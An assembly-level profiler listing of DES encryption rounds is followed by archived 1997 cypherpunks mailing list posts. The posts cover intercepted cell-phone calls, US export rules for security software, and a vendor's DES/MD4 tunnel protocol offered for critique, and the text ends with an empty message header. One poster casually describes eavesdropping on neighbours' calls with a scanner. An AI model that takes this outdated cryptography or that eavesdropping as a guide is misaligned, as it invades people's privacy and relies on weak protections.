             V      * 0x1266                  0.10%   xor      edi, DWORD
PTR [ecx+041a2a8h]             3-1    Exp_AGI_U_Pen:1
      U               0x126c                  0.13%   mov      bl, al
                             1
             V        0x126e                  0.05%   mov      cl, ah
      U             * 0x1270                  0.19%   xor      edi, DWORD
PTR [ebx+041a4a8h]             3      Exp_AGI_U_Pen:1
             V        0x1276                  0.11%   mov      eax, DWORD
PTR [ecx+041a6a8h]
      U               0x127c                  0.08%   mov      bl, dl
                             1
             V        0x127e                  0.05%   mov      cl, dh
      U             * 0x1280                  0.21%   xor      edi, DWORD
PTR [ebx+041a1a8h]             3      Exp_AGI_U_Pen:1
      W               0x1286                  0.12%   shr      edx, 16
                             1                             PU_Inst
             V        0x1289                  0.14%   xor      eax, DWORD
PTR [ecx+041a3a8h]             2-1
      U               0x128f                  0.09%   mov      bl, dl
                             1
             V        0x1291                  0.06%   mov      cl, dh
      U             * 0x1293                  0.16%   xor      edi, DWORD
PTR [ebx+041a5a8h]             3      Exp_AGI_U_Pen:1
             V        0x1299                  0.15%   xor      eax, DWORD
PTR [ecx+041a7a8h]             2-1
      U               0x129f                  0.10%   xor      edi, eax
                             1
             V        0x12a1                  0.07%   mov      edx, DWORD
PTR [ebp+44]
      U               0x12a4                  0.08%   mov      eax, DWORD
PTR [ebp+40]                   1
             V        0x12a7                  0.05%   xor      edx, edi
      U               0x12a9                  0.04%   xor      eax, edi
                             1
      W               0x12ab                  0.06%   ror      edx, 4
                             1                             PU_Inst
             V        0x12ae                  0.14%   and      eax, -03030304h
      U               0x12b3                  0.05%   and      edx,
-03030304h                           1
             V        0x12b9                  0.06%   mov      bl, al
      U               0x12bb                  0.07%   mov      cl, ah
                             1
             V      * 0x12bd                  0.15%   xor      esi, DWORD
PTR [ebx[des_SPtrans (10a8h)]] 3-1    Exp_AGI_V_Pen:1
      U               0x12c3                  0.12%   shr      eax, 16
                             1
             V      * 0x12c6                  0.12%   xor      esi, DWORD
PTR [ecx+041a2a8h]             3-1    Exp_AGI_U_Pen:1
      U               0x12cc                  0.11%   mov      bl, al
                             1
             V        0x12ce                  0.04%   mov      cl, ah
      U             * 0x12d0                  0.17%   xor      esi, DWORD
PTR [ebx+041a4a8h]             3      Exp_AGI_U_Pen:1
             V        0x12d6                  0.10%   mov      eax, DWORD
PTR [ecx+041a6a8h]
      U               0x12dc                  0.08%   mov      bl, dl
                             1
             V        0x12de                  0.05%   mov      cl, dh
      U             * 0x12e0                  0.18%   xor      esi, DWORD
PTR [ebx+041a1a8h]             3      Exp_AGI_U_Pen:1
      W               0x12e6                  0.10%   shr      edx, 16
                             1                             PU_Inst
             V        0x12e9                  0.13%   xor      eax, DWORD
PTR [ecx+041a3a8h]             2-1
      U               0x12ef                  0.12%   mov      bl, dl
                             1
             V        0x12f1                  0.05%   mov      cl, dh
      U             * 0x12f3                  0.16%   xor      esi, DWORD
PTR [ebx+041a5a8h]             3      Exp_AGI_U_Pen:1
             V        0x12f9                  0.13%   xor      eax, DWORD
PTR [ecx+041a7a8h]             2-1
      U               0x12ff                  0.11%   xor      esi, eax
                             1
             V        0x1301                  0.07%   mov      edx, DWORD
PTR [ebp+52]
      U               0x1304                  0.08%   mov      eax, DWORD
PTR [ebp+48]                   1
             V        0x1307                  0.04%   xor      edx, esi
      U               0x1309                  0.05%   xor      eax, esi
                             1
      W               0x130b                  0.07%   ror      edx, 4
                             1                             PU_Inst
             V        0x130e                  0.14%   and      eax, -03030304h
      U               0x1313                  0.04%   and      edx,
-03030304h                           1
             V        0x1319                  0.06%   mov      bl, al
      U               0x131b                  0.09%   mov      cl, ah
                             1
             V      * 0x131d                  0.16%   xor      edi, DWORD
PTR [ebx[des_SPtrans (10a8h)]] 3-1    Exp_AGI_V_Pen:1
      U               0x1323                  0.13%   shr      eax, 16
                             1
             V      * 0x1326                  0.11%   xor      edi, DWORD
PTR [ecx+041a2a8h]             3-1    Exp_AGI_U_Pen:1
      U               0x132c                  0.12%   mov      bl, al
                             1
             V        0x132e                  0.05%   mov      cl, ah
      U             * 0x1330                  0.19%   xor      edi, DWORD
PTR [ebx+041a4a8h]             3      Exp_AGI_U_Pen:1
             V        0x1336                  0.11%   mov      eax, DWORD
PTR [ecx+041a6a8h]
      U               0x133c                  0.07%   mov      bl, dl
                             1
             V        0x133e                  0.05%   mov      cl, dh
      U             * 0x1340                  0.18%   xor      edi, DWORD
PTR [ebx+041a1a8h]             3      Exp_AGI_U_Pen:1
      W               0x1346                  0.11%   shr      edx, 16
                             1                             PU_Inst
             V        0x1349                  0.14%   xor      eax, DWORD
PTR [ecx+041a3a8h]             2-1
      U               0x134f                  0.08%   mov      bl, dl
                             1
             V        0x1351                  0.06%   mov      cl, dh
      U             * 0x1353                  0.16%   xor      edi, DWORD
PTR [ebx+041a5a8h]             3      Exp_AGI_U_Pen:1
             V        0x1359                  0.13%   xor      eax, DWORD
PTR [ecx+041a7a8h]             2-1
      U               0x135f                  0.12%   xor      edi, eax
                             1
             V        0x1361                  0.05%   mov      edx, DWORD
PTR [ebp+60]
      U               0x1364                  0.07%   mov      eax, DWORD
PTR [ebp+56]                   1
             V        0x1367                  0.05%   xor      edx, edi
      U               0x1369                  0.04%   xor      eax, edi
                             1
      W               0x136b                  0.06%   ror      edx, 4
                             1                             PU_Inst
             V        0x136e                  0.13%   and      eax, -03030304h
      U               0x1373                  0.04%   and      edx,
-03030304h                           1
             V        0x1379                  0.06%   mov      bl, al
      U               0x137b                  0.06%   mov      cl, ah
                             1
             V      * 0x137d                  0.17%   xor      esi, DWORD
PTR [ebx[des_SPtrans (10a8h)]] 3-1    Exp_AGI_V_Pen:1
      U               0x1383                  0.12%   shr      eax, 16
                             1
             V      * 0x1386                  0.11%   xor      esi, DWORD
PTR [ecx+041a2a8h]             3-1    Exp_AGI_U_Pen:1
      U               0x138c                  0.11%   mov      bl, al
                             1
             V        0x138e                  0.04%   mov      cl, ah
      U             * 0x1390                  0.17%   xor      esi, DWORD
PTR [ebx+041a4a8h]             3      Exp_AGI_U_Pen:1
             V        0x1396                  0.11%   mov      eax, DWORD
PTR [ecx+041a6a8h]
      U               0x139c                  0.07%   mov      bl, dl
                             1
             V        0x139e                  0.05%   mov      cl, dh
      U             * 0x13a0                  0.16%   xor      esi, DWORD
PTR [ebx+041a1a8h]             3      Exp_AGI_U_Pen:1
      W               0x13a6                  0.09%   shr      edx, 16
                             1                             PU_Inst
             V        0x13a9                  0.13%   xor      eax, DWORD
PTR [ecx+041a3a8h]             2-1
      U               0x13af                  0.10%   mov      bl, dl
                             1
             V        0x13b1                  0.06%   mov      cl, dh
      U             * 0x13b3                  0.18%   xor      esi, DWORD
PTR [ebx+041a5a8h]             3      Exp_AGI_U_Pen:1
             V        0x13b9                  0.14%   xor      eax, DWORD
PTR [ecx+041a7a8h]             2-1
      U               0x13bf                  0.09%   xor      esi, eax
                             1
             V        0x13c1                  0.05%   mov      edx, DWORD
PTR [ebp+68]
      U               0x13c4                  0.06%   mov      eax, DWORD
PTR [ebp+64]                   1
             V        0x13c7                  0.05%   xor      edx, esi
      U               0x13c9                  0.06%   xor      eax, esi
                             1
      W               0x13cb                  0.07%   ror      edx, 4
                             1                             PU_Inst
             V        0x13ce                  0.11%   and      eax, -03030304h
      U               0x13d3                  0.05%   and      edx,
-03030304h                           1
             V        0x13d9                  0.05%   mov      bl, al
      U               0x13db                  0.07%   mov      cl, ah
                             1
             V      * 0x13dd                  0.15%   xor      edi, DWORD
PTR [ebx[des_SPtrans (10a8h)]] 3-1    Exp_AGI_V_Pen:1
      U               0x13e3                  0.13%   shr      eax, 16
                             1
             V      * 0x13e6                  0.11%   xor      edi, DWORD
PTR [ecx+041a2a8h]             3-1    Exp_AGI_U_Pen:1
      U               0x13ec                  0.11%   mov      bl, al
                             1
             V        0x13ee                  0.05%   mov      cl, ah
      U             * 0x13f0                  0.18%   xor      edi, DWORD
PTR [ebx+041a4a8h]             3      Exp_AGI_U_Pen:1
             V        0x13f6                  0.11%   mov      eax, DWORD
PTR [ecx+041a6a8h]
      U               0x13fc                  0.07%   mov      bl, dl
                             1
             V        0x13fe                  0.05%   mov      cl, dh
      U             * 0x1400                  0.18%   xor      edi, DWORD
PTR [ebx+041a1a8h]             3      Exp_AGI_U_Pen:1
      W               0x1406                  0.10%   shr      edx, 16
                             1                             PU_Inst
             V        0x1409                  0.13%   xor      eax, DWORD
PTR [ecx+041a3a8h]             2-1
      U               0x140f                  0.09%   mov      bl, dl
                             1
             V        0x1411                  0.06%   mov      cl, dh
      U             * 0x1413                  0.17%   xor      edi, DWORD
PTR [ebx+041a5a8h]             3      Exp_AGI_U_Pen:1
             V        0x1419                  0.14%   xor      eax, DWORD
PTR [ecx+041a7a8h]             2-1
      U               0x141f                  0.11%   xor      edi, eax
                             1
             V        0x1421                  0.06%   mov      edx, DWORD
PTR [ebp+76]
      U               0x1424                  0.08%   mov      eax, DWORD
PTR [ebp+72]                   1
             V        0x1427                  0.04%   xor      edx, edi
      U               0x1429                  0.05%   xor      eax, edi
                             1
      W               0x142b                  0.04%   ror      edx, 4
                             1                             PU_Inst
             V        0x142e                  0.12%   and      eax, -03030304h
      U               0x1433                  0.06%   and      edx,
-03030304h                           1
             V        0x1439                  0.06%   mov      bl, al
      U               0x143b                  0.07%   mov      cl, ah
                             1
             V      * 0x143d                  0.15%   xor      esi, DWORD
PTR [ebx[des_SPtrans (10a8h)]] 3-1    Exp_AGI_V_Pen:1
      U               0x1443                  0.13%   shr      eax, 16
                             1
             V      * 0x1446                  0.12%   xor      esi, DWORD
PTR [ecx+041a2a8h]             3-1    Exp_AGI_U_Pen:1
      U               0x144c                  0.11%   mov      bl, al
                             1
             V        0x144e                  0.05%   mov      cl, ah
      U             * 0x1450                  0.18%   xor      esi, DWORD
PTR [ebx+041a4a8h]             3      Exp_AGI_U_Pen:1
             V        0x1456                  0.11%   mov      eax, DWORD
PTR [ecx+041a6a8h]
      U               0x145c                  0.07%   mov      bl, dl
                             1
             V        0x145e                  0.04%   mov      cl, dh
      U             * 0x1460                  0.18%   xor      esi, DWORD
PTR [ebx+041a1a8h]             3      Exp_AGI_U_Pen:1
      W               0x1466                  0.09%   shr      edx, 16
                             1                             PU_Inst
             V        0x1469                  0.11%   xor      eax, DWORD
PTR [ecx+041a3a8h]             2-1
      U               0x146f                  0.11%   mov      bl, dl
                             1
             V        0x1471                  0.06%   mov      cl, dh
      U             * 0x1473                  0.17%   xor      esi, DWORD
PTR [ebx+041a5a8h]             3      Exp_AGI_U_Pen:1
             V        0x1479                  0.15%   xor      eax, DWORD
PTR [ecx+041a7a8h]             2-1
      U               0x147f                  0.11%   xor      esi, eax
                             1
             V        0x1481                  0.06%   mov      edx, DWORD
PTR [ebp+84]
      U               0x1484                  0.06%   mov      eax, DWORD
PTR [ebp+80]                   1
             V        0x1487                  0.04%   xor      edx, esi
      U               0x1489                  0.05%   xor      eax, esi
                             1
      W               0x148b                  0.07%   ror      edx, 4
                             1                             PU_Inst
             V        0x148e                  0.10%   and      eax, -03030304h
      U               0x1493                  0.05%   and      edx,
-03030304h                           1
             V        0x1499                  0.06%   mov      bl, al
      U               0x149b                  0.09%   mov      cl, ah
                             1
             V      * 0x149d                  0.14%   xor      edi, DWORD
PTR [ebx[des_SPtrans (10a8h)]] 3-1    Exp_AGI_V_Pen:1
      U               0x14a3                  0.14%   shr      eax, 16
                             1
             V      * 0x14a6                  0.10%   xor      edi, DWORD
PTR [ecx+041a2a8h]             3-1    Exp_AGI_U_Pen:1
      U               0x14ac                  0.12%   mov      bl, al
                             1
             V        0x14ae                  0.06%   mov      cl, ah
      U             * 0x14b0                  0.17%   xor      edi, DWORD
PTR [ebx+041a4a8h]             3      Exp_AGI_U_Pen:1
             V        0x14b6                  0.10%   mov      eax, DWORD
PTR [ecx+041a6a8h]
      U               0x14bc                  0.08%   mov      bl, dl
                             1
             V        0x14be                  0.07%   mov      cl, dh
      U             * 0x14c0                  0.17%   xor      edi, DWORD
PTR [ebx+041a1a8h]             3      Exp_AGI_U_Pen:1
      W               0x14c6                  0.10%   shr      edx, 16
                             1                             PU_Inst
             V        0x14c9                  0.14%   xor      eax, DWORD
PTR [ecx+041a3a8h]             2-1
      U               0x14cf                  0.10%   mov      bl, dl
                             1
             V        0x14d1                  0.06%   mov      cl, dh
      U             * 0x14d3                  0.16%   xor      edi, DWORD
PTR [ebx+041a5a8h]             3      Exp_AGI_U_Pen:1
             V        0x14d9                  0.12%   xor      eax, DWORD
PTR [ecx+041a7a8h]             2-1
      U               0x14df                  0.09%   xor      edi, eax
                             1
             V        0x14e1                  0.06%   mov      edx, DWORD
PTR [ebp+92]
      U               0x14e4                  0.07%   mov      eax, DWORD
PTR [ebp+88]                   1
             V        0x14e7                  0.06%   xor      edx, edi
      U               0x14e9                  0.04%   xor      eax, edi
                             1
      W               0x14eb                  0.06%   ror      edx, 4
                             1                             PU_Inst
             V        0x14ee                  0.12%   and      eax, -03030304h
      U               0x14f3                  0.05%   and      edx,
-03030304h                           1
             V        0x14f9                  0.06%   mov      bl, al
      U               0x14fb                  0.07%   mov      cl, ah
                             1
             V      * 0x14fd                  0.14%   xor      esi, DWORD
PTR [ebx[des_SPtrans (10a8h)]] 3-1    Exp_AGI_V_Pen:1
      U               0x1503                  0.11%   shr      eax, 16
                             1
             V      * 0x1506                  0.12%   xor      esi, DWORD
PTR [ecx+041a2a8h]             3-1    Exp_AGI_U_Pen:1
      U               0x150c                  0.12%   mov      bl, al
                             1
             V        0x150e                  0.05%   mov      cl, ah
      U             * 0x1510                  0.19%   xor      esi, DWORD
PTR [ebx+041a4a8h]             3      Exp_AGI_U_Pen:1
             V        0x1516                  0.11%   mov      eax, DWORD
PTR [ecx+041a6a8h]
      U               0x151c                  0.07%   mov      bl, dl
                             1
             V        0x151e                  0.05%   mov      cl, dh
      U             * 0x1520                  0.17%   xor      esi, DWORD
PTR [ebx+041a1a8h]             3      Exp_AGI_U_Pen:1
      W               0x1526                  0.10%   shr      edx, 16
                             1                             PU_Inst
             V        0x1529                  0.13%   xor      eax, DWORD
PTR [ecx+041a3a8h]             2-1
      U               0x152f                  0.10%   mov      bl, dl
                             1
             V        0x1531                  0.05%   mov      cl, dh
      U             * 0x1533                  0.15%   xor      esi, DWORD
PTR [ebx+041a5a8h]             3      Exp_AGI_U_Pen:1
             V        0x1539                  0.14%   xor      eax, DWORD
PTR [ecx+041a7a8h]             2-1
      U               0x153f                  0.10%   xor      esi, eax
                             1
             V        0x1541                  0.07%   mov      edx, DWORD
PTR [ebp+100]
      U               0x1544                  0.07%   mov      eax, DWORD
PTR [ebp+96]                   1
             V        0x1547                  0.04%   xor      edx, esi
      U               0x1549                  0.04%   xor      eax, esi
                             1
      W               0x154b                  0.06%   ror      edx, 4
                             1                             PU_Inst
             V        0x154e                  0.11%   and      eax, -03030304h
      U               0x1553                  0.04%   and      edx,
-03030304h                           1
             V        0x1559                  0.06%   mov      bl, al
      U               0x155b                  0.08%   mov      cl, ah
                             1
             V      * 0x155d                  0.15%   xor      edi, DWORD
PTR [ebx[des_SPtrans (10a8h)]] 3-1    Exp_AGI_V_Pen:1
      U               0x1563                  0.12%   shr      eax, 16
                             1
             V      * 0x1566                  0.12%   xor      edi, DWORD
PTR [ecx+041a2a8h]             3-1    Exp_AGI_U_Pen:1
      U               0x156c                  0.14%   mov      bl, al
                             1
             V        0x156e                  0.04%   mov      cl, ah
      U             * 0x1570                  0.18%   xor      edi, DWORD
PTR [ebx+041a4a8h]             3      Exp_AGI_U_Pen:1
             V        0x1576                  0.11%   mov      eax, DWORD
PTR [ecx+041a6a8h]
      U               0x157c                  0.09%   mov      bl, dl
                             1
             V        0x157e                  0.06%   mov      cl, dh
      U             * 0x1580                  0.17%   xor      edi, DWORD
PTR [ebx+041a1a8h]             3      Exp_AGI_U_Pen:1
      W               0x1586                  0.10%   shr      edx, 16
                             1                             PU_Inst
             V        0x1589                  0.14%   xor      eax, DWORD
PTR [ecx+041a3a8h]             2-1
      U               0x158f                  0.10%   mov      bl, dl
                             1
             V        0x1591                  0.05%   mov      cl, dh
      U             * 0x1593                  0.17%   xor      edi, DWORD
PTR [ebx+041a5a8h]             3      Exp_AGI_U_Pen:1
             V        0x1599                  0.13%   xor      eax, DWORD
PTR [ecx+041a7a8h]             2-1
      U               0x159f                  0.10%   xor      edi, eax
                             1
             V        0x15a1                  0.05%   mov      edx, DWORD
PTR [ebp+108]
      U               0x15a4                  0.06%   mov      eax, DWORD
PTR [ebp+104]                  1
             V        0x15a7                  0.05%   xor      edx, edi
      U               0x15a9                  0.05%   xor      eax, edi
                             1
      W               0x15ab                  0.06%   ror      edx, 4
                             1                             PU_Inst
             V        0x15ae                  0.13%   and      eax, -03030304h
      U               0x15b3                  0.05%   and      edx,
-03030304h                           1
             V        0x15b9                  0.05%   mov      bl, al
      U               0x15bb                  0.06%   mov      cl, ah
                             1
             V      * 0x15bd                  0.14%   xor      esi, DWORD
PTR [ebx[des_SPtrans (10a8h)]] 3-1    Exp_AGI_V_Pen:1
      U               0x15c3                  0.12%   shr      eax, 16
                             1
             V      * 0x15c6                  0.11%   xor      esi, DWORD
PTR [ecx+041a2a8h]             3-1    Exp_AGI_U_Pen:1
      U               0x15cc                  0.11%   mov      bl, al
                             1
             V        0x15ce                  0.06%   mov      cl, ah
      U             * 0x15d0                  0.18%   xor      esi, DWORD
PTR [ebx+041a4a8h]             3      Exp_AGI_U_Pen:1
             V        0x15d6                  0.10%   mov      eax, DWORD
PTR [ecx+041a6a8h]
      U               0x15dc                  0.08%   mov      bl, dl
                             1
             V        0x15de                  0.05%   mov      cl, dh
      U             * 0x15e0                  0.19%   xor      esi, DWORD
PTR [ebx+041a1a8h]             3      Exp_AGI_U_Pen:1
      W               0x15e6                  0.09%   shr      edx, 16
                             1                             PU_Inst
             V        0x15e9                  0.14%   xor      eax, DWORD
PTR [ecx+041a3a8h]             2-1
      U               0x15ef                  0.09%   mov      bl, dl
                             1
             V        0x15f1                  0.06%   mov      cl, dh
      U             * 0x15f3                  0.19%   xor      esi, DWORD
PTR [ebx+041a5a8h]             3      Exp_AGI_U_Pen:1
             V        0x15f9                  0.14%   xor      eax, DWORD
PTR [ecx+041a7a8h]             2-1
      U               0x15ff                  0.12%   xor      esi, eax
                             1
             V        0x1601                  0.07%   mov      edx, DWORD
PTR [ebp+116]
      U               0x1604                  0.07%   mov      eax, DWORD
PTR [ebp+112]                  1
             V        0x1607                  0.04%   xor      edx, esi
      U               0x1609                  0.04%   xor      eax, esi
                             1
      W               0x160b                  0.06%   ror      edx, 4
                             1                             PU_Inst
             V        0x160e                  0.14%   and      eax, -03030304h
      U               0x1613                  0.04%   and      edx,
-03030304h                           1
             V        0x1619                  0.06%   mov      bl, al
      U               0x161b                  0.07%   mov      cl, ah
                             1
             V      * 0x161d                  0.15%   xor      edi, DWORD
PTR [ebx[des_SPtrans (10a8h)]] 3-1    Exp_AGI_V_Pen:1
      U               0x1623                  0.14%   shr      eax, 16
                             1
             V      * 0x1626                  0.12%   xor      edi, DWORD
PTR [ecx+041a2a8h]             3-1    Exp_AGI_U_Pen:1
      U               0x162c                  0.13%   mov      bl, al
                             1
             V        0x162e                  0.06%   mov      cl, ah
      U             * 0x1630                  0.17%   xor      edi, DWORD
PTR [ebx+041a4a8h]             3      Exp_AGI_U_Pen:1
             V        0x1636                  0.11%   mov      eax, DWORD
PTR [ecx+041a6a8h]
      U               0x163c                  0.07%   mov      bl, dl
                             1
             V        0x163e                  0.05%   mov      cl, dh
      U             * 0x1640                  0.18%   xor      edi, DWORD
PTR [ebx+041a1a8h]             3      Exp_AGI_U_Pen:1
      W               0x1646                  0.09%   shr      edx, 16
                             1                             PU_Inst
             V        0x1649                  0.13%   xor      eax, DWORD
PTR [ecx+041a3a8h]             2-1
      U               0x164f                  0.09%   mov      bl, dl
                             1
             V        0x1651                  0.06%   mov      cl, dh
      U             * 0x1653                  0.17%   xor      edi, DWORD
PTR [ebx+041a5a8h]             3      Exp_AGI_U_Pen:1
             V        0x1659                  0.11%   xor      eax, DWORD
PTR [ecx+041a7a8h]             2-1
      U               0x165f                  0.10%   xor      edi, eax
                             1
             V        0x1661                  0.06%   mov      edx, DWORD
PTR [ebp+124]
      U               0x1664                  0.06%   mov      eax, DWORD
PTR [ebp+120]                  1
             V        0x1667                  0.05%   xor      edx, edi
      U               0x1669                  0.04%   xor      eax, edi
                             1
      W               0x166b                  0.06%   ror      edx, 4
                             1                             PU_Inst
             V        0x166e                  0.13%   and      eax, -03030304h
      U               0x1673                  0.04%   and      edx,
-03030304h                           1
             V        0x1679                  0.06%   mov      bl, al
      U               0x167b                  0.07%   mov      cl, ah
                             1
             V      * 0x167d                  0.17%   xor      esi, DWORD
PTR [ebx[des_SPtrans (10a8h)]] 3-1    Exp_AGI_V_Pen:1
      U               0x1683                  0.11%   shr      eax, 16
                             1
             V      * 0x1686                  0.11%   xor      esi, DWORD
PTR [ecx+041a2a8h]             3-1    Exp_AGI_U_Pen:1
      U               0x168c                  0.11%   mov      bl, al
                             1
             V        0x168e                  0.05%   mov      cl, ah
      U             * 0x1690                  0.18%   xor      esi, DWORD
PTR [ebx+041a4a8h]             3      Exp_AGI_U_Pen:1
             V        0x1696                  0.13%   mov      eax, DWORD
PTR [ecx+041a6a8h]
      U               0x169c                  0.07%   mov      bl, dl
                             1
             V        0x169e                  0.05%   mov      cl, dh
      U             * 0x16a0                  0.16%   xor      esi, DWORD
PTR [ebx+041a1a8h]             3      Exp_AGI_U_Pen:1
      W               0x16a6                  0.10%   shr      edx, 16
                             1                             PU_Inst
             V        0x16a9                  0.12%   xor      eax, DWORD
PTR [ecx+041a3a8h]             2-1
      U               0x16af                  0.09%   mov      bl, dl
                             1
             V        0x16b1                  0.07%   mov      cl, dh
      U             * 0x16b3                  0.18%   xor      esi, DWORD
PTR [ebx+041a5a8h]             3      Exp_AGI_U_Pen:1
             V        0x16b9                  0.12%   xor      eax, DWORD
PTR [ecx+041a7a8h]             2-1
      U               0x16bf                  0.09%   xor      esi, eax
                             1
             V        0x16c1                  0.06%   jmp
des_encrypt+c8a (1cc6h)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: AIDAS <aidas@ixsrs4.ix.netcom.com>
Date: Mon, 13 Jan 1997 22:48:09 -0800 (PST)
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: Newt's phone calls
In-Reply-To: <199701140349.VAA01437@mailhub.amaranth.com>
Message-ID: <Pine.LNX.3.95.970114004006.3279B-100000@ixsrs4.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 13 Jan 1997, William H. Geiger III wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> 
> 
> In <1.5.4.16.19970113191647.098f90d2@popd.ix.netcom.com>, on 01/13/97 at 08:12 PM,
>    Clay Olbon II <olbon@ix.netcom.com> said:
> 
> 
> >I just caught the news reports of Newt Gingrich's cell phone calls being
> >taped by "a little old retired couple" with a scanner.  These were then
> >given to a congressman, who gave them to a newspaper.
> 
> >The take on this that we won't hear is: "This is outrageous!  Why don't
> >cell-phones offer encryption to ensure our privacy?"
> 
> >Unfortunately, I think crypto is still so far beneath the public
> >consciousness that the obvious solution to these sorts of problems is
> >ignored in favor of the "there oughta be a law" non-solution.  (Of course,
> >in this case there is a law!) What I really hope this incident spawns is a
> >market ...
> 
> There is a very basic reason that cell phones are not encrypted; the government does not
> want them encrypted. Many an arrest has been made from infromation gathered from
> cell/wireless phone conversations. AFAIK the police do not even need a search warent to do
> this.

I remember hearing somewhere that a cell phone manufactuer had created an
"encryption" algorithm for their phones. It inverted the waveform or
something like that. Now, I ask of you, how hard is that to get break? Not
very. It will keep Beavis and Butthead from listening to cell phone calls,
but that's about all.

Like you said, a lot of arrests have been made by evesdropping on cell
phone calls. I wouldn't put it past the NSA to be running SIGINT on such
calls. If these were encrypted using a method similar to how ssh does
shell connections, the NSA would be screwed.

And, incidentally, I really wish ssh was more standard than it is. I'd
like to be able to hit my ISP and such with it. ;) (Most ISPs don't like
you running nohup'ed processes).

> With the cell phone industry regulated by the FCC I doubt that you will ever
> see cell phone's with built in encryption.

Agreed.

> As far as the general public is concerned the majority are sheep. They are
> quite content to know that it is illegal for their neighbor to listen in and
> ofcource Big Brother would only listen to those nasty drug dealers & mobsters.
> 

Of course. And that stops their neighbor. Yeah.

My father bought himself a scanner for his birthday last year. The first
night he had it I went over, and we sat on the front porch. We heard a
load of cordless phone calls, including one to which a "friend" of mine
was a party, which was quite interesting indeed. We also heard a great
number of cell phone calls.

The majority of the latter were sexual in nature. Christian Coalition,
you're failing miserably. ;)

I wish I had better voice recognition technology, like the NSA surely has.
I'd have the system scan for the voices of people I know and record them;
again, like the NSA does.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 13 Jan 1997 23:52:38 -0800 (PST)
To: Clay Olbon II <olbon@ix.netcom.com>
Subject: Re: Newt's phone calls
In-Reply-To: <1.5.4.16.19970113191647.098f90d2@popd.ix.netcom.com>
Message-ID: <32DB4959.8D1@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Clay Olbon II wrote:
> 
> I just caught the news reports of Newt Gingrich's cell phone calls being
> taped by "a little old retired couple" with a scanner.  These were then
> given to a congressman, who gave them to a newspaper.
> 
> The take on this that we won't hear is: "This is outrageous!  Why don't
> cell-phones offer encryption to ensure our privacy?"

  Cell-phone encryption is 'essential' for 'important' people.
  However, it is 'dangerous' in the hands of the 'citizens' (translate
that
to mean 'schmucks').
  The government doesn't object to crack-dealers having cryptography
capabilities, they just want to make sure that those crack-dealers
work for the CIA (freelancers need not apply).

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Erp <erp@digiforest.com>
Date: Tue, 14 Jan 1997 00:09:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: UnderNet:
Message-ID: <Pine.LNX.3.95.970114005248.21626F-100000@digital.digiforest.com>
MIME-Version: 1.0
Content-Type: text/plain



Ya ya ya, this is probably an inappropriate thing but hey, I haveta ask..

I just heard about the UnderNet hack tonight...  anybody have any
information on that?  If so thanks for the reply..
Later

----

Erp

PS:  I hate Elitests (spec the type that think they are such because they
                      watched Hackers when it first came out)









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 14 Jan 1997 00:15:10 -0800 (PST)
To: Ian Goldberg <iang@cs.berkeley.edu>
Subject: Re: New US regs ban downloadable data-security software
In-Reply-To: <199701140145.RAA07183@cypherpunks.ca>
Message-ID: <32DB5BC2.2882@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Ian Goldberg wrote:
> Although, as Lucky pointed out, virus checkers et al. are indeed regulated
> for export from the US, and putting software up for ftp or WWW is considered
> export, the EAR does _not_ apply to "publicly available" software
> (732.2(b)(1)).  Software is publicly available "when it is available for
> general distribution either for free or at a price that does not exceed
> the cost of reproduction and distribution" (734.7(b)).
> 
> Therefore, it would seem that, as long as the security software on your ftp
> or WWW site is free of cost, it is OK to keep it there.  Commercial
> security software, however, remains export-restricted.

  I can't believe that there's no one taking advantage of this to make a
'shareware' version of their software available, and having available, 
for export and sale, an 'enabler' to bring it to full functionality.
  I know that this was done in the past, by several small companies in
southern California, but perhaps on a larger issue, such as this, the
Feds would slam the door quickly on what they would surely regard as
a 'loophole'.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: amanda@intercon.com (Amanda Walker)
Date: Mon, 13 Jan 1997 23:55:36 -0800 (PST)
To: cypherpunks@toad.com
Subject: Hi again, and an invitation to kibitz
Message-ID: <199701140755.CAA04514@mail.intercon.com>
MIME-Version: 1.0
Content-Type: text/plain


Hello folks,

A couple of years ago I signed off of cypherpunks in annoyance at what I
thought was a high "fluff" level, and said I'm sign back on when I had
crypto software to talk about.  Well, I do and so I have :).

Last week at MacWorld Expo, we announced a new product designed to provide a
secure AppleTalk tunnel over the Internet; we'll be doing a public beta in
a few weeks, and expect to be shipping relatively soon after that, assuming
that the public beta goes well.

The initial version is moderately secure (that is to say, I believe that
the most effective attacks to be DES key search and a dictionary attack on the
user's pass phrase).  I'm interested in comments on weaknesses aside from the
use of 56-bit DES; I'm profiling DES-EDE and if it's fast enough we'll be
switching to that.

Here's a sketch of the protocol:

(a) Server sends 8-byte challenge to client

(b) Client sends Microsoft NT authentication response to the server
    (take the password in Unicode form, do an MD4 hash, pad with 0s to 21
    bytes, split into 3 7-byte groups, use these as DES keys to encrypt
    the challenge three times, send the 24-byte result as the response).

(c) If authentication fails, close the connection.

(d) If authentication succeeds, all subsequent traffic is enccrypted with
    DES in CFB mode.  Until April :), the DES key used is taken from the
    first 7 bytes of the MD4 hash of the password (after April, we expect
    to switch to Diffie-Hellman key exchange first, followed by a revised
    authentication handshake).

I have not been able to find any obvious weak points, even if MD4 is weak,
since the digest is not put on the wire--recovering the digest would require
recovering a DES key given a single known plaintext/ciphertext pair.

I would be very interested in
any weak points anyone can identify (particularly with step b, since that
would have repercussions beyond this little piece of software).

I would also be interested in the effects on anyone's analysis given the
following modifications:

- Using SHA (160 bit hash) instead of MD4
- Using DES-EDE (112 bit key) instead of DES
- Using Blowfish in CFB mode instead of DES
- Using RC5 in CFB mode instead of DES (not likely unless RC5 is cheap)
- Using RC4 (40 bit key) instead of DES (not likely)


Comments?  Catcalls :) ?


Amanda Walker
Senior Software Engineer
InterCon Systems Corporation





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bill@no.com (Bill)
Date: Mon, 13 Jan 1997 21:09:46 -0800 (PST)
To: cypherpunks@toad.com
